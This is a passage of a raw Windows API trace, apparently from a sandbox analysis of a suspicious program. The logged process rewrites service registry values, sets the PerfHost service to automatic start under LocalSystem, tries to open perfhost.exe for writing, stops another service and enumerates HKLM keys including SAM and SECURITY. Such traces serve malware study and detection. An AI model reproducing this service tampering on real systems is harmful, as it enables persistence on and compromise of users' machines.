lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.242] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.242] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0251.242] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.243] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.244] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0251.244] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.244] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.245] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.246] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWow64\\perfhost.exe", cbData=0x21 | out: lpData="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x0 [0251.246] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWow64\\perfhost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\SysWow64\\perfhost.exe" [0251.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0251.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0251.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0251.246] LocalFree (hMem=0x7f2c48) returned 0x0 [0251.246] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWow64\\perfhost.exe", cbData=0x21 | out: lpData="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x0 [0251.246] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x2) returned 0x8038a0 [0251.246] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0251.249] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.249] RegCloseKey (hKey=0xc4) returned 0x0 [0251.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0251.250] RegCloseKey (hKey=0x14c) returned 0x0 [0251.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0251.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0251.250] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081cae6, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x3081cae6, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0251.250] CreateFileW (lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0251.250] GetLastError () returned 0x20 [0251.250] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0251.251] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0251.251] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0251.251] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x803990 [0251.251] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0251.251] GetLastError () returned 0x425 [0251.252] CloseServiceHandle (hSCObject=0x803990) returned 1 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0251.252] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.252] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.252] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0251.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.254] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.254] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.254] RtlAllocateHeap 